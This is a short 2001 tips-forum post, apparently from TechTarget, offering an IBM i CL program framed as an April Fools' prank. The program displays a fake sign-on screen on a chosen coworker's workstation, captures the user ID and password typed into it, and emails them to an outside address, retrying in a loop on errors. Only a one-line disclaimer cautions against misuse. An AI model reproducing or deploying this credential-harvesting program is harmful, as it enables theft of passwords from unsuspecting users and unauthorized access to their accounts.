Tip

This login screen may backfire.

This little program can be used on April 1st to prank your co-workers. First, determine the name of the Signon screen (DSPSBSD command), and set it in the program. Currently the program points at QDSIGNON.

Then, determine the workstation in which the unlucky person will sign on - this will be the parameer to call the program with.

The program will attempt to send the Signon scren to the workstation, and will retrieve the information typed on the fake sign on screen.

Of course, it is not recommended to capture confidential information that you have no right to see in the first place. 


 		
PGM        PARM(&DEVNAME)
DCLF QDSIGNON      
DCL     VAR(&TEXT) TYPE(*CHAR) LEN(80)
MONMSG   MSGID(CPF0000) EXEC(GOTO CMDLBL(ERROR)) 
RTVNETA    SYSNAME(&SYSNAME)
CHGVAR     VAR(&SBSNAME) VALUE('QINTER')
CHGVAR     VAR(&IN01) VALUE('1')
CHGVAR     VAR(©RIGHT) VALUE(' (C) ACME +      
             CORPORATION.  1949, 2001.')
RETRY:
OVRDSPF    FILE(QDSIGNON) DEV(&DEVNAME) WAITFILE(32767) 
PANEL:
SNDRCVF    RCDFMT(SIGNON)
CHGVAR     VAR(&TEXT) VALUE('User' *BCAT &USERID +
       *TCAT ': Pwd' *BCAT &PASSWRD)
SNDEMAIL     TO('Wile.E@acme.com') + 
   FROM('me@mycompany.com') +
   SUBJECT('QDSIGNON') +
   MSG(&TEXT) 
RETURN                                            
ERROR:
DLYJOB     DLY(10)       
GOTO       CMDLBL(RETRY) 
ENDPGM

This was first published in June 2001

Disclaimer: Our Tips Exchange is a forum for you to share technical advice and expertise with your peers and to learn from other enterprise IT professionals. TechTarget provides the infrastructure to facilitate this sharing of information. However, we cannot guarantee the accuracy or validity of the material submitted. You agree that your use of the Ask The Expert services and your reliance on any questions, answers, information or other materials received through this Web site is at your own risk.

Back to top